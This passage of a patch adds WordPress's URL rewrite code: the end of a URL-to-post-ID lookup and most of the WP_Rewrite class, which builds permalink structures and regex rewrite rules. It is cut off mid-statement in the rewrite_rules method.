Jaquith + // This fixes things like #anchors, ?query=strings, missing 'www.', + // added 'www.', or added 'index.php/' that will mess up our WP_Query + // and return a false negative + + // Get rid of the #anchor + $url_split = explode('#', $url); + $url = $url_split[0]; + + // Get rid of URL ?query=string + $url_split = explode('?', $url); + $url = $url_split[0]; + + // Add 'www.' if it is absent and should be there + if ( false !== strpos(get_option('home'), '://www.') && false === strpos($url, '://www.') ) + $url = str_replace('://', '://www.', $url); + + // Strip 'www.' if it is present and shouldn't be + if ( false === strpos(get_option('home'), '://www.') ) + $url = str_replace('://www.', '://', $url); + + // Strip 'index.php/' if we're not using path info permalinks + if ( !$wp_rewrite->using_index_permalinks() ) + $url = str_replace('index.php/', '', $url); + + if ( false !== strpos($url, get_option('home')) ) { + // Chop off http://domain.com + $url = str_replace(get_option('home'), '', $url); + } else { + // Chop off /path/to/blog + $home_path = parse_url(get_option('home')); + $home_path = $home_path['path']; + $url = str_replace($home_path, '', $url); + } + + // Trim leading and lagging slashes + $url = trim($url, '/'); + + $request = $url; + + // Done with cleanup + + // Look for matches. + $request_match = $request; + foreach ($rewrite as $match => $query) { + // If the requesting file is the anchor of the match, prepend it + // to the path info. + if ( (! empty($url)) && (strpos($match, $url) === 0) && ($url != $request)) { + $request_match = $url . '/' . $request; + } + + if ( preg_match("!^$match!", $request_match, $matches) ) { + // Got a match. + // Trim the query of everything up to the '?'. + $query = preg_replace("!^.+\?!", '', $query); + + // Substitute the substring matches into the query. + $query = addslashes(WP_MatchesMapRegex::apply($query, $matches)); + // Filter out non-public query vars + global $wp; + parse_str($query, $query_vars); + $query = array(); + foreach ( (array) $query_vars as $key => $value ) { + if ( in_array($key, $wp->public_query_vars) ) + $query[$key] = $value; + } + // Do the query + $query = new WP_Query($query); + if ( $query->is_single || $query->is_page ) + return $query->post->ID; + else + return 0; + } + } + return 0; +} + +/** + * WordPress Rewrite Component. + * + * The WordPress Rewrite class writes the rewrite module rules to the .htaccess + * file. It also handles parsing the request to get the correct setup for the + * WordPress Query class. + * + * The Rewrite along with WP class function as a front controller for WordPress. + * You can add rules to trigger your page view and processing using this + * component. The full functionality of a front controller does not exist, + * meaning you can't define how the template files load based on the rewrite + * rules. + * + * @since 1.5.0 + */ +class WP_Rewrite { + /** + * Default permalink structure for WordPress. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $permalink_structure; + + /** + * Whether to add trailing slashes. + * + * @since 2.2.0 + * @access private + * @var bool + */ + var $use_trailing_slashes; + + /** + * Customized or default category permalink base ( example.com/xx/tagname ). + * + * @since 1.5.0 + * @access private + * @var string + */ + var $category_base; + + /** + * Customized or default tag permalink base ( example.com/xx/tagname ). + * + * @since 2.3.0 + * @access private + * @var string + */ + var $tag_base; + + /** + * Permalink request structure for categories. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $category_structure; + + /** + * Permalink request structure for tags. + * + * @since 2.3.0 + * @access private + * @var string + */ + var $tag_structure; + + /** + * Permalink author request base ( example.com/author/authorname ). + * + * @since 1.5.0 + * @access private + * @var string + */ + var $author_base = 'author'; + + /** + * Permalink request structure for author pages. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $author_structure; + + /** + * Permalink request structure for dates. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $date_structure; + + /** + * Permalink request structure for pages. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $page_structure; + + /** + * Search permalink base ( example.com/search/query ). + * + * @since 1.5.0 + * @access private + * @var string + */ + var $search_base = 'search'; + + /** + * Permalink request structure for searches. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $search_structure; + + /** + * Comments permalink base. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $comments_base = 'comments'; + + /** + * Feed permalink base. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $feed_base = 'feed'; + + /** + * Comments feed request structure permalink. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $comments_feed_structure; + + /** + * Feed request structure permalink. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $feed_structure; + + /** + * Front URL path. + * + * The difference between the root property is that WordPress might be + * located at example/WordPress/index.php, if permalinks are turned off. The + * WordPress/index.php will be the front portion. If permalinks are turned + * on, this will most likely be empty or not set. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $front; + + /** + * Root URL path to WordPress (without domain). + * + * The difference between front property is that WordPress might be located + * at example.com/WordPress/. The root is the 'WordPress/' portion. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $root = ''; + + /** + * Permalink to the home page. + * + * @since 1.5.0 + * @access public + * @var string + */ + var $index = 'index.php'; + + /** + * Request match string. + * + * @since 1.5.0 + * @access private + * @var string + */ + var $matches = ''; + + /** + * Rewrite rules to match against the request to find the redirect or query. + * + * @since 1.5.0 + * @access private + * @var array + */ + var $rules; + + /** + * Additional rules added external to the rewrite class. + * + * Those not generated by the class, see add_rewrite_rule(). + * + * @since 2.1.0 + * @access private + * @var array + */ + var $extra_rules = array(); // + + /** + * Additional rules that belong at the beginning to match first. + * + * Those not generated by the class, see add_rewrite_rule(). + * + * @since 2.3.0 + * @access private + * @var array + */ + var $extra_rules_top = array(); // + + /** + * Rules that don't redirect to WP's index.php. + * + * These rules are written to the mod_rewrite portion of the .htaccess. + * + * @since 2.1.0 + * @access private + * @var array + */ + var $non_wp_rules = array(); // + + /** + * Extra permalink structures. + * + * @since 2.1.0 + * @access private + * @var array + */ + var $extra_permastructs = array(); + + /** + * Endpoints permalinks + * + * @since unknown + * @access private + * @var array + */ + var $endpoints; + + /** + * Whether to write every mod_rewrite rule for WordPress. + * + * This is off by default, turning it on might print a lot of rewrite rules + * to the .htaccess file. + * + * @since 2.0.0 + * @access public + * @var bool + */ + var $use_verbose_rules = false; + + /** + * Whether to write every mod_rewrite rule for WordPress pages. + * + * @since 2.5.0 + * @access public + * @var bool + */ + var $use_verbose_page_rules = true; + + /** + * Permalink structure search for preg_replace. + * + * @since 1.5.0 + * @access private + * @var array + */ + var $rewritecode = + array( + '%year%', + '%monthnum%', + '%day%', + '%hour%', + '%minute%', + '%second%', + '%postname%', + '%post_id%', + '%category%', + '%tag%', + '%author%', + '%pagename%', + '%search%' + ); + + /** + * Preg_replace values for the search, see {@link WP_Rewrite::$rewritecode}. + * + * @since 1.5.0 + * @access private + * @var array + */ + var $rewritereplace = + array( + '([0-9]{4})', + '([0-9]{1,2})', + '([0-9]{1,2})', + '([0-9]{1,2})', + '([0-9]{1,2})', + '([0-9]{1,2})', + '([^/]+)', + '([0-9]+)', + '(.+?)', + '(.+?)', + '([^/]+)', + '([^/]+?)', + '(.+)' + ); + + /** + * Search for the query to look for replacing. + * + * @since 1.5.0 + * @access private + * @var array + */ + var $queryreplace = + array ( + 'year=', + 'monthnum=', + 'day=', + 'hour=', + 'minute=', + 'second=', + 'name=', + 'p=', + 'category_name=', + 'tag=', + 'author_name=', + 'pagename=', + 's=' + ); + + /** + * Supported default feeds. + * + * @since 1.5.0 + * @access private + * @var array + */ + var $feeds = array ( 'feed', 'rdf', 'rss', 'rss2', 'atom' ); + + /** + * Whether permalinks are being used. + * + * This can be either rewrite module or permalink in the HTTP query string. + * + * @since 1.5.0 + * @access public + * + * @return bool True, if permalinks are enabled. + */ + function using_permalinks() { + if (empty($this->permalink_structure)) + return false; + else + return true; + } + + /** + * Whether permalinks are being used and rewrite module is not enabled. + * + * Means that permalink links are enabled and index.php is in the URL. + * + * @since 1.5.0 + * @access public + * + * @return bool + */ + function using_index_permalinks() { + if (empty($this->permalink_structure)) { + return false; + } + + // If the index is not in the permalink, we're using mod_rewrite. + if (preg_match('#^/*' . $this->index . '#', $this->permalink_structure)) { + return true; + } + + return false; + } + + /** + * Whether permalinks are being used and rewrite module is enabled. + * + * Using permalinks and index.php is not in the URL. + * + * @since 1.5.0 + * @access public + * + * @return bool + */ + function using_mod_rewrite_permalinks() { + if ( $this->using_permalinks() && ! $this->using_index_permalinks()) + return true; + else + return false; + } + + /** + * Index for matches for usage in preg_*() functions. + * + * The format of the string is, with empty matches property value, '$NUM'. + * The 'NUM' will be replaced with the value in the $number parameter. With + * the matches property not empty, the value of the returned string will + * contain that value of the matches property. The format then will be + * '$MATCHES[NUM]', with MATCHES as the value in the property and NUM the + * value of the $number parameter. + * + * @since 1.5.0 + * @access public + * + * @param int $number Index number. + * @return string + */ + function preg_index($number) { + $match_prefix = '$'; + $match_suffix = ''; + + if ( ! empty($this->matches) ) { + $match_prefix = '$' . $this->matches . '['; + $match_suffix = ']'; + } + + return "$match_prefix$number$match_suffix"; + } + + /** + * Retrieve all page and attachments for pages URIs. + * + * The attachments are for those that have pages as parents and will be + * retrieved. + * + * @since 2.5.0 + * @access public + * + * @return array Array of page URIs as first element and attachment URIs as second element. + */ + function page_uri_index() { + global $wpdb; + + //get pages in order of hierarchy, i.e. children after parents + $posts = get_page_hierarchy($wpdb->get_results("SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'page'")); + //now reverse it, because we need parents after children for rewrite rules to work properly + $posts = array_reverse($posts, true); + + $page_uris = array(); + $page_attachment_uris = array(); + + if ( !$posts ) + return array( array(), array() ); + + foreach ($posts as $id => $post) { + // URL => page name + $uri = get_page_uri($id); + $attachments = $wpdb->get_results( $wpdb->prepare( "SELECT ID, post_name, post_parent FROM $wpdb->posts WHERE post_type = 'attachment' AND post_parent = %d", $id )); + if ( $attachments ) { + foreach ( $attachments as $attachment ) { + $attach_uri = get_page_uri($attachment->ID); + $page_attachment_uris[$attach_uri] = $attachment->ID; + } + } + + $page_uris[$uri] = $id; + } + + return array( $page_uris, $page_attachment_uris ); + } + + /** + * Retrieve all of the rewrite rules for pages. + * + * If the 'use_verbose_page_rules' property is false, then there will only + * be a single rewrite rule for pages for those matching '%pagename%'. With + * the property set to true, the attachments and the pages will be added for + * each individual attachment URI and page URI, respectively. + * + * @since 1.5.0 + * @access public + * + * @return array + */ + function page_rewrite_rules() { + $rewrite_rules = array(); + $page_structure = $this->get_page_permastruct(); + + if ( ! $this->use_verbose_page_rules ) { + $this->add_rewrite_tag('%pagename%', "(.+?)", 'pagename='); + $rewrite_rules = array_merge($rewrite_rules, $this->generate_rewrite_rules($page_structure, EP_PAGES)); + return $rewrite_rules; + } + + $page_uris = $this->page_uri_index(); + $uris = $page_uris[0]; + $attachment_uris = $page_uris[1]; + + if( is_array( $attachment_uris ) ) { + foreach ($attachment_uris as $uri => $pagename) { + $this->add_rewrite_tag('%pagename%', "($uri)", 'attachment='); + $rewrite_rules = array_merge($rewrite_rules, $this->generate_rewrite_rules($page_structure, EP_PAGES)); + } + } + if( is_array( $uris ) ) { + foreach ($uris as $uri => $pagename) { + $this->add_rewrite_tag('%pagename%', "($uri)", 'pagename='); + $rewrite_rules = array_merge($rewrite_rules, $this->generate_rewrite_rules($page_structure, EP_PAGES)); + } + } + + return $rewrite_rules; + } + + /** + * Retrieve date permalink structure, with year, month, and day. + * + * The permalink structure for the date, if not set already depends on the + * permalink structure. It can be one of three formats. The first is year, + * month, day; the second is day, month, year; and the last format is month, + * day, year. These are matched against the permalink structure for which + * one is used. If none matches, then the default will be used, which is + * year, month, day. + * + * Prevents post ID and date permalinks from overlapping. In the case of + * post_id, the date permalink will be prepended with front permalink with + * 'date/' before the actual permalink to form the complete date permalink + * structure. + * + * @since 1.5.0 + * @access public + * + * @return bool|string False on no permalink structure. Date permalink structure. + */ + function get_date_permastruct() { + if (isset($this->date_structure)) { + return $this->date_structure; + } + + if (empty($this->permalink_structure)) { + $this->date_structure = ''; + return false; + } + + // The date permalink must have year, month, and day separated by slashes. + $endians = array('%year%/%monthnum%/%day%', '%day%/%monthnum%/%year%', '%monthnum%/%day%/%year%'); + + $this->date_structure = ''; + $date_endian = ''; + + foreach ($endians as $endian) { + if (false !== strpos($this->permalink_structure, $endian)) { + $date_endian= $endian; + break; + } + } + + if ( empty($date_endian) ) + $date_endian = '%year%/%monthnum%/%day%'; + + // Do not allow the date tags and %post_id% to overlap in the permalink + // structure. If they do, move the date tags to $front/date/. + $front = $this->front; + preg_match_all('/%.+?%/', $this->permalink_structure, $tokens); + $tok_index = 1; + foreach ( (array) $tokens[0] as $token) { + if ( ($token == '%post_id%') && ($tok_index <= 3) ) { + $front = $front . 'date/'; + break; + } + $tok_index++; + } + + $this->date_structure = $front . $date_endian; + + return $this->date_structure; + } + + /** + * Retrieve the year permalink structure without month and day. + * + * Gets the date permalink structure and strips out the month and day + * permalink structures. + * + * @since 1.5.0 + * @access public + * + * @return bool|string False on failure. Year structure on success. + */ + function get_year_permastruct() { + $structure = $this->get_date_permastruct($this->permalink_structure); + + if (empty($structure)) { + return false; + } + + $structure = str_replace('%monthnum%', '', $structure); + $structure = str_replace('%day%', '', $structure); + + $structure = preg_replace('#/+#', '/', $structure); + + return $structure; + } + + /** + * Retrieve the month permalink structure without day and with year. + * + * Gets the date permalink structure and strips out the day permalink + * structures. Keeps the year permalink structure. + * + * @since 1.5.0 + * @access public + * + * @return bool|string False on failure. Year/Month structure on success. + */ + function get_month_permastruct() { + $structure = $this->get_date_permastruct($this->permalink_structure); + + if (empty($structure)) { + return false; + } + + $structure = str_replace('%day%', '', $structure); + + $structure = preg_replace('#/+#', '/', $structure); + + return $structure; + } + + /** + * Retrieve the day permalink structure with month and year. + * + * Keeps date permalink structure with all year, month, and day. + * + * @since 1.5.0 + * @access public + * + * @return bool|string False on failure. Year/Month/Day structure on success. + */ + function get_day_permastruct() { + return $this->get_date_permastruct($this->permalink_structure); + } + + /** + * Retrieve the permalink structure for categories. + * + * If the category_base property has no value, then the category structure + * will have the front property value, followed by 'category', and finally + * '%category%'. If it does, then the root property will be used, along with + * the category_base property value. + * + * @since 1.5.0 + * @access public + * + * @return bool|string False on failure. Category permalink structure. + */ + function get_category_permastruct() { + if (isset($this->category_structure)) { + return $this->category_structure; + } + + if (empty($this->permalink_structure)) { + $this->category_structure = ''; + return false; + } + + if (empty($this->category_base)) + $this->category_structure = trailingslashit( $this->front . 'category' ); + else + $this->category_structure = trailingslashit( '/' . $this->root . $this->category_base ); + + $this->category_structure .= '%category%'; + + return $this->category_structure; + } + + /** + * Retrieve the permalink structure for tags. + * + * If the tag_base property has no value, then the tag structure will have + * the front property value, followed by 'tag', and finally '%tag%'. If it + * does, then the root property will be used, along with the tag_base + * property value. + * + * @since 2.3.0 + * @access public + * + * @return bool|string False on failure. Tag permalink structure. + */ + function get_tag_permastruct() { + if (isset($this->tag_structure)) { + return $this->tag_structure; + } + + if (empty($this->permalink_structure)) { + $this->tag_structure = ''; + return false; + } + + if (empty($this->tag_base)) + $this->tag_structure = trailingslashit( $this->front . 'tag' ); + else + $this->tag_structure = trailingslashit( '/' . $this->root . $this->tag_base ); + + $this->tag_structure .= '%tag%'; + + return $this->tag_structure; + } + + /** + * Retrieve extra permalink structure by name. + * + * @since unknown + * @access public + * + * @param string $name Permalink structure name. + * @return string|bool False if not found. Permalink structure string. + */ + function get_extra_permastruct($name) { + if ( empty($this->permalink_structure) ) + return false; + if ( isset($this->extra_permastructs[$name]) ) + return $this->extra_permastructs[$name]; + return false; + } + + /** + * Retrieve the author permalink structure. + * + * The permalink structure is front property, author base, and finally + * '/%author%'. Will set the author_structure property and then return it + * without attempting to set the value again. + * + * @since 1.5.0 + * @access public + * + * @return string|bool False if not found. Permalink structure string. + */ + function get_author_permastruct() { + if (isset($this->author_structure)) { + return $this->author_structure; + } + + if (empty($this->permalink_structure)) { + $this->author_structure = ''; + return false; + } + + $this->author_structure = $this->front . $this->author_base . '/%author%'; + + return $this->author_structure; + } + + /** + * Retrieve the search permalink structure. + * + * The permalink structure is root property, search base, and finally + * '/%search%'. Will set the search_structure property and then return it + * without attempting to set the value again. + * + * @since 1.5.0 + * @access public + * + * @return string|bool False if not found. Permalink structure string. + */ + function get_search_permastruct() { + if (isset($this->search_structure)) { + return $this->search_structure; + } + + if (empty($this->permalink_structure)) { + $this->search_structure = ''; + return false; + } + + $this->search_structure = $this->root . $this->search_base . '/%search%'; + + return $this->search_structure; + } + + /** + * Retrieve the page permalink structure. + * + * The permalink structure is root property, and '%pagename%'. Will set the + * page_structure property and then return it without attempting to set the + * value again. + * + * @since 1.5.0 + * @access public + * + * @return string|bool False if not found. Permalink structure string. + */ + function get_page_permastruct() { + if (isset($this->page_structure)) { + return $this->page_structure; + } + + if (empty($this->permalink_structure)) { + $this->page_structure = ''; + return false; + } + + $this->page_structure = $this->root . '%pagename%'; + + return $this->page_structure; + } + + /** + * Retrieve the feed permalink structure. + * + * The permalink structure is root property, feed base, and finally + * '/%feed%'. Will set the feed_structure property and then return it + * without attempting to set the value again. + * + * @since 1.5.0 + * @access public + * + * @return string|bool False if not found. Permalink structure string. + */ + function get_feed_permastruct() { + if (isset($this->feed_structure)) { + return $this->feed_structure; + } + + if (empty($this->permalink_structure)) { + $this->feed_structure = ''; + return false; + } + + $this->feed_structure = $this->root . $this->feed_base . '/%feed%'; + + return $this->feed_structure; + } + + /** + * Retrieve the comment feed permalink structure. + * + * The permalink structure is root property, comment base property, feed + * base and finally '/%feed%'. Will set the comment_feed_structure property + * and then return it without attempting to set the value again. + * + * @since 1.5.0 + * @access public + * + * @return string|bool False if not found. Permalink structure string. + */ + function get_comment_feed_permastruct() { + if (isset($this->comment_feed_structure)) { + return $this->comment_feed_structure; + } + + if (empty($this->permalink_structure)) { + $this->comment_feed_structure = ''; + return false; + } + + $this->comment_feed_structure = $this->root . $this->comments_base . '/' . $this->feed_base . '/%feed%'; + + return $this->comment_feed_structure; + } + + /** + * Append or update tag, pattern, and query for replacement. + * + * If the tag already exists, replace the existing pattern and query for + * that tag, otherwise add the new tag, pattern, and query to the end of the + * arrays. + * + * @internal What is the purpose of this function again? Need to finish long + * description. + * + * @since 1.5.0 + * @access public + * + * @param string $tag Append tag to rewritecode property array. + * @param string $pattern Append pattern to rewritereplace property array. + * @param string $query Append query to queryreplace property array. + */ + function add_rewrite_tag($tag, $pattern, $query) { + $position = array_search($tag, $this->rewritecode); + if ( false !== $position && null !== $position ) { + $this->rewritereplace[$position] = $pattern; + $this->queryreplace[$position] = $query; + } else { + $this->rewritecode[] = $tag; + $this->rewritereplace[] = $pattern; + $this->queryreplace[] = $query; + } + } + + /** + * Generate the rules from permalink structure. + * + * The main WP_Rewrite function for building the rewrite rule list. The + * contents of the function is a mix of black magic and regular expressions, + * so best just ignore the contents and move to the parameters. + * + * @since 1.5.0 + * @access public + * + * @param string $permalink_structure The permalink structure. + * @param int $ep_mask Optional, default is EP_NONE. Endpoint constant, see EP_* constants. + * @param bool $paged Optional, default is true. Whether permalink request is paged. + * @param bool $feed Optional, default is true. Whether for feed. + * @param bool $forcomments Optional, default is false. Whether for comments. + * @param bool $walk_dirs Optional, default is true. Whether to create list of directories to walk over. + * @param bool $endpoints Optional, default is true. Whether endpoints are enabled. + * @return array Rewrite rule list. + */ + function generate_rewrite_rules($permalink_structure, $ep_mask = EP_NONE, $paged = true, $feed = true, $forcomments = false, $walk_dirs = true, $endpoints = true) { + //build a regex to match the feed section of URLs, something like (feed|atom|rss|rss2)/? + $feedregex2 = ''; + foreach ( (array) $this->feeds as $feed_name) { + $feedregex2 .= $feed_name . '|'; + } + $feedregex2 = '(' . trim($feedregex2, '|') . ')/?$'; + //$feedregex is identical but with /feed/ added on as well, so URLs like /feed/atom + //and /atom are both possible + $feedregex = $this->feed_base . '/' . $feedregex2; + + //build a regex to match the trackback and page/xx parts of URLs + $trackbackregex = 'trackback/?$'; + $pageregex = 'page/?([0-9]{1,})/?$'; + $commentregex = 'comment-page-([0-9]{1,})/?$'; + + //build up an array of endpoint regexes to append => queries to append + if ($endpoints) { + $ep_query_append = array (); + foreach ( (array) $this->endpoints as $endpoint) { + //match everything after the endpoint name, but allow for nothing to appear there + $epmatch = $endpoint[1] . '(/(.*))?/?$'; + //this will be appended on to the rest of the query for each dir + $epquery = '&' . $endpoint[1] . '='; + $ep_query_append[$epmatch] = array ( $endpoint[0], $epquery ); + } + } + + //get everything up to the first rewrite tag + $front = substr($permalink_structure, 0, strpos($permalink_structure, '%')); + //build an array of the tags (note that said array ends up being in $tokens[0]) + preg_match_all('/%.+?%/', $permalink_structure, $tokens); + + $num_tokens = count($tokens[0]); + + $index = $this->index; //probably 'index.php' + $feedindex = $index; + $trackbackindex = $index; + //build a list from the rewritecode and queryreplace arrays, that will look something like + //tagname=$matches[i] where i is the current $i + for ($i = 0; $i < $num_tokens; ++$i) { + if (0 < $i) { + $queries[$i] = $queries[$i - 1] . '&'; + } else { + $queries[$i] = ''; + } + + $query_token = str_replace($this->rewritecode, $this->queryreplace, $tokens[0][$i]) . $this->preg_index($i+1); + $queries[$i] .= $query_token; + } + + //get the structure, minus any cruft (stuff that isn't tags) at the front + $structure = $permalink_structure; + if ($front != '/') { + $structure = str_replace($front, '', $structure); + } + //create a list of dirs to walk over, making rewrite rules for each level + //so for example, a $structure of /%year%/%month%/%postname% would create + //rewrite rules for /%year%/, /%year%/%month%/ and /%year%/%month%/%postname% + $structure = trim($structure, '/'); + if ($walk_dirs) { + $dirs = explode('/', $structure); + } else { + $dirs[] = $structure; + } + $num_dirs = count($dirs); + + //strip slashes from the front of $front + $front = preg_replace('|^/+|', '', $front); + + //the main workhorse loop + $post_rewrite = array(); + $struct = $front; + for ($j = 0; $j < $num_dirs; ++$j) { + //get the struct for this dir, and trim slashes off the front + $struct .= $dirs[$j] . '/'; //accumulate. see comment near explode('/', $structure) above + $struct = ltrim($struct, '/'); + //replace tags with regexes + $match = str_replace($this->rewritecode, $this->rewritereplace, $struct); + //make a list of tags, and store how many there are in $num_toks + $num_toks = preg_match_all('/%.+?%/', $struct, $toks); + //get the 'tagname=$matches[i]' + $query = ( isset($queries) && is_array($queries) ) ? $queries[$num_toks - 1] : ''; + + //set up $ep_mask_specific which is used to match more specific URL types + switch ($dirs[$j]) { + case '%year%': $ep_mask_specific = EP_YEAR; break; + case '%monthnum%': $ep_mask_specific = EP_MONTH; break; + case '%day%': $ep_mask_specific = EP_DAY; break; + } + + //create query for /page/xx + $pagematch = $match . $pageregex; + $pagequery = $index . '?' . $query . '&paged=' . $this->preg_index($num_toks + 1); + + //create query for /comment-page-xx + $commentmatch = $match . $commentregex; + $commentquery = $index . '?' . $query . '&cpage=' . $this->preg_index($num_toks + 1); + + if ( get_option('page_on_front') ) { + //create query for Root /comment-page-xx + $rootcommentmatch = $match . $commentregex; + $rootcommentquery = $index . '?' . $query . '&page_id=' . get_option('page_on_front') . '&cpage=' . $this->preg_index($num_toks + 1); + } + + //create query for /feed/(feed|atom|rss|rss2|rdf) + $feedmatch = $match . $feedregex; + $feedquery = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1); + + //create query for /(feed|atom|rss|rss2|rdf) (see comment near creation of $feedregex) + $feedmatch2 = $match . $feedregex2; + $feedquery2 = $feedindex . '?' . $query . '&feed=' . $this->preg_index($num_toks + 1); + + //if asked to, turn the feed queries into comment feed ones + if ($forcomments) { + $feedquery .= '&withcomments=1'; + $feedquery2 .= '&withcomments=1'; + } + + //start creating the array of rewrites for this dir + $rewrite = array(); + if ($feed) //...adding on /feed/ regexes => queries + $rewrite = array($feedmatch => $feedquery, $feedmatch2 => $feedquery2); + if ($paged) //...and /page/xx ones + $rewrite = array_merge($rewrite, array($pagematch => $pagequery)); + + //only on pages with comments add ../comment-page-xx/ + if ( EP_PAGES & $ep_mask || EP_PERMALINK & $ep_mask || EP_NONE & $ep_mask ) + $rewrite = array_merge($rewrite, array($commentmatch => $commentquery)); + else if ( EP_ROOT & $ep_mask && get_option('page_on_front') ) + $rewrite = array_merge($rewrite, array($rootcommentmatch => $rootcommentquery)); + + //do endpoints + if ($endpoints) { + foreach ( (array) $ep_query_append as $regex => $ep) { + //add the endpoints on if the mask fits + if ($ep[0] & $ep_mask || $ep[0] & $ep_mask_specific) { + $rewrite[$match . $regex] = $index . '?' . $query . $ep[1] . $this->preg_index($num_toks + 2); + } + } + } + + //if we've got some tags in this dir + if ($num_toks) { + $post = false; + $page = false; + + //check to see if this dir is permalink-level: i.e. the structure specifies an + //individual post. Do this by checking it contains at least one of 1) post name, + //2) post ID, 3) page name, 4) timestamp (year, month, day, hour, second and + //minute all present). Set these flags now as we need them for the endpoints. + if (strpos($struct, '%postname%') !== false || strpos($struct, '%post_id%') !== false + || strpos($struct, '%pagename%') !== false + || (strpos($struct, '%year%') !== false && strpos($struct, '%monthnum%') !== false && strpos($struct, '%day%') !== false && strpos($struct, '%hour%') !== false && strpos($struct, '%minute%') !== false && strpos($struct, '%second%') !== false)) { + $post = true; + if (strpos($struct, '%pagename%') !== false) + $page = true; + } + + //if we're creating rules for a permalink, do all the endpoints like attachments etc + if ($post) { + $post = true; + //create query and regex for trackback + $trackbackmatch = $match . $trackbackregex; + $trackbackquery = $trackbackindex . '?' . $query . '&tb=1'; + //trim slashes from the end of the regex for this dir + $match = rtrim($match, '/'); + //get rid of brackets + $submatchbase = str_replace(array('(',')'),'',$match); + + //add a rule for at attachments, which take the form of /some-text + $sub1 = $submatchbase . '/([^/]+)/'; + $sub1tb = $sub1 . $trackbackregex; //add trackback regex /trackback/... + $sub1feed = $sub1 . $feedregex; //and /feed/(atom|...) + $sub1feed2 = $sub1 . $feedregex2; //and /(feed|atom...) + $sub1comment = $sub1 . $commentregex; //and /comment-page-xx + //add an ? as we don't have to match that last slash, and finally a $ so we + //match to the end of the URL + + //add another rule to match attachments in the explicit form: + ///attachment/some-text + $sub2 = $submatchbase . '/attachment/([^/]+)/'; + $sub2tb = $sub2 . $trackbackregex; //and add trackbacks /attachment/trackback + $sub2feed = $sub2 . $feedregex; //feeds, /attachment/feed/(atom|...) + $sub2feed2 = $sub2 . $feedregex2; //and feeds again on to this /attachment/(feed|atom...) + $sub2comment = $sub2 . $commentregex; //and /comment-page-xx + + //create queries for these extra tag-ons we've just dealt with + $subquery = $index . '?attachment=' . $this->preg_index(1); + $subtbquery = $subquery . '&tb=1'; + $subfeedquery = $subquery . '&feed=' . $this->preg_index(2); + $subcommentquery = $subquery . '&cpage=' . $this->preg_index(2); + + //do endpoints for attachments + if ( !empty($endpoints) ) { foreach ( (array) $ep_query_append as $regex => $ep ) { + if ($ep[0] & EP_ATTACHMENT) { + $rewrite[$sub1 . $regex] = $subquery . $ep[1] . $this->preg_index(2); + $rewrite[$sub2 . $regex] = $subquery . $ep[1] . $this->preg_index(2); + } + } } + + //now we've finished with endpoints, finish off the $sub1 and $sub2 matches + $sub1 .= '?$'; + $sub2 .= '?$'; + + //allow URLs like /2 for /page/2 + $match = $match . '(/[0-9]+)?/?$'; + $query = $index . '?' . $query . '&page=' . $this->preg_index($num_toks + 1); + } else { //not matching a permalink so this is a lot simpler + //close the match and finalise the query + $match .= '?$'; + $query = $index . '?' . $query; + } + + //create the final array for this dir by joining the $rewrite array (which currently + //only contains rules/queries for trackback, pages etc) to the main regex/query for + //this dir + $rewrite = array_merge($rewrite, array($match => $query)); + + //if we're matching a permalink, add those extras (attachments etc) on + if ($post) { + //add trackback + $rewrite = array_merge(array($trackbackmatch => $trackbackquery), $rewrite); + + //add regexes/queries for attachments, attachment trackbacks and so on + if ( ! $page ) //require /attachment/stuff form for pages because of confusion with subpages + $rewrite = array_merge($rewrite, array($sub1 => $subquery, $sub1tb => $subtbquery, $sub1feed => $subfeedquery, $sub1feed2 => $subfeedquery, $sub1comment => $subcommentquery)); + $rewrite = array_merge(array($sub2 => $subquery, $sub2tb => $subtbquery, $sub2feed => $subfeedquery, $sub2feed2 => $subfeedquery, $sub2comment => $subcommentquery), $rewrite); + } + } //if($num_toks) + //add the rules for this dir to the accumulating $post_rewrite + $post_rewrite = array_merge($rewrite, $post_rewrite); + } //foreach ($dir) + return $post_rewrite; //the finished rules. phew! + } + + /** + * Generate Rewrite rules with permalink structure and walking directory only. + * + * Shorten version of {@link WP_Rewrite::generate_rewrite_rules()} that + * allows for shorter list of parameters. See the method for longer + * description of what generating rewrite rules does. + * + * @uses WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters. + * @since 1.5.0 + * @access public + * + * @param string $permalink_structure The permalink structure to generate rules. + * @param bool $walk_dirs Optional, default is false. Whether to create list of directories to walk over. + * @return array + */ + function generate_rewrite_rule($permalink_structure, $walk_dirs = false) { + return $this->generate_rewrite_rules($permalink_structure, EP_NONE, false, false, false, $walk_dirs); + } + + /** + * Construct rewrite matches and queries from permalink structure. + * + * Runs the action 'generate_rewrite_rules' with the parameter that is an + * reference to the current WP_Rewrite instance to further manipulate the + * permalink structures and rewrite rules. Runs the 'rewrite_rules_array' + * filter on the full rewrite rule array. + * + * There are two ways to manipulate the rewrite rules, one by hooking into + * the 'generate_rewrite_rules' action and gaining full control of the + * object or just manipulating the rewrite rule array before it is passed + * from the function. + * + * @since 1.5.0 + * @access public + * + * @return array An associate array of matches and queries. + */ + function rewrite_rules() { + $rewrite = array(); + + if (empty($this->permalink_structure)) { + return $rewrite; + } + + // robots.txt + $robots_rewrite = array('robots\.txt$' => $this->index . '?robots=1'); + + //Default Feed rules - These are require to allow for the direct access files to work with permalink structure starting with %category% + $default_feeds = array( '.*wp-atom.php$' => $this->index .'?feed=atom', + '.*wp-rdf.php$' => $this->index .'?feed=rdf', + '.*wp-rss.php$' => $this->index .'?feed=rss', + '.*wp-rss2.php$' => $this->index .'?feed=rss2', + '.*wp-feed.php$' => $this->index .'?feed=feed', + '.*wp-commentsrss2.php$' => $this->index . '?feed=rss2&withcomments=1'); + + // Post + $post_rewrite = $this->generate_rewrite_rules($this->permalink_structure, EP_PERMALINK); + $post_rewrite = apply_filters('post_rewrite_rules', $post_rewrite); + + // Date + $date_rewrite = $this->generate_rewrite_rules($this->get_date_permastruct(), EP_DATE); + $date_rewrite = 